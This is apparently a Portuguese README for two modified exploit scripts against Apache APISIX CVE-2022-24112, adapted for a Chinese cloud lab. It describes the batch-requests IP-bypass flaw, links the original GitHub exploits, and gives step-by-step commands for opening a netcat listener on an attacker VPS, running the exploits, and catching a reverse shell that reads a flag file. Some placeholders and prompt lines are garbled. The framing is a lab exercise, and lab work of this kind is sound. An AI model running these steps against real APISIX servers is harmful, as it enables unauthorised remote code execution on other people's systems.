POC

POCs coletados

CVE-2022-24112

Para o ambiente de laboratório "春秋云境:CVE-2022-24112", modifiquei dois POCs, adaptando ligeiramente os POCs dos mestres M4xSec e twseptian para o ambiente de laboratório "春秋云境":

---

春秋云境:CVE-2022-24112：

Apache APISIX é um serviço de gateway de API de microsserviços nativo em nuvem da Apache Software Foundation. O software é baseado em OpenResty e etcd, com roteamento dinâmico e carregamento a quente de plugins, adequado para gerenciamento de API em sistemas de microsserviços. Existe uma vulnerabilidade de execução remota de código no Apache APISIX. Essa vulnerabilidade se origina do plugin batch-requests não limitar adequadamente as solicitações de lote dos usuários. Um invasor pode contornar a restrição de IP da API de Administração por meio dessa vulnerabilidade, levando facilmente à execução remota de código.

---

POCs originais：

1、M4xSec：https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112/blob/main/apisix-exploit.py

2、twseptian：https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py

Os POCs modificados são os dois que escrevi acima, direcionados para ambientes Linux e Windows, respectivamente:

---

CVE-2022-24112_Linux_by_twseptian.py

1. Inicie a escuta no VPS: nc -lvvp 18888

2. Entre no diretório do POC e execute:

   Nota: Ao adicionar dados com -t, não é necessário escrever http:// ou https://, apenas o domínio + porta, conforme abaixo:

   root@kitploit:~

   python3 CVE-2022-24112_Linux_by_twseptian.py -t eci-eninecsteC2zon6q0xod9n5r7me4ih.cloudeci1.ichunqiu.com:9080 -L VPS_IP -P VPS_PODRPODR
   

3. Verifique o VPS conforme abaixo:

   root@kitploit:~

   [root@root ~]# nc -lvvp 18888
   Ncat: Version 7.50 ( https://nmap.org/ncat )
   Ncat: Listening on :::18888
   Ncat: Listening on 0.0.0.0:18888
   Ncat: Connection from x.x.x.x.
   Ncat: Connection from x.x.x.x:x.
   id
   uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
   cat /flag
   flag{0834f79f-5f40-4389-bce7-c64e969734c4}
   

---

CVE-2022-24112_Windows_by_M4xSec.py

1. Inicie a escuta no VPS: nc -lvvp 18888

2. Entre no diretório do POC e execute:

   Nota: Ao adicionar dados com -t, não é necessário escrever http:// ou https://, apenas o domínio + porta, conforme abaixo:

   root@kitploit:~

   python3 CVE-2022-24112_Windows_by_M4xSec.py eci-eninecsteC2zon6q0xod9n5r7me4ih.cloudeci1.ichunqiu.com:9080 VPS_IP VPS_PODRPODR
   

3. Verifique o VPS conforme abaixo:

   root@kitploit:~

   [root@root ~]# nc -lvvp 18888
   Ncat: Version 7.50 ( https://nmap.org/ncat )
   Ncat: Listening on :::18888
   Ncat: Listening on 0.0.0.0:18888
   Ncat: Connection from x.x.x.x.
   Ncat: Connection from x.x.x.x:x.
   id
   uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
   cat /flag
   flag{0834f79f-5f40-4389-bce7-c64e969734c4}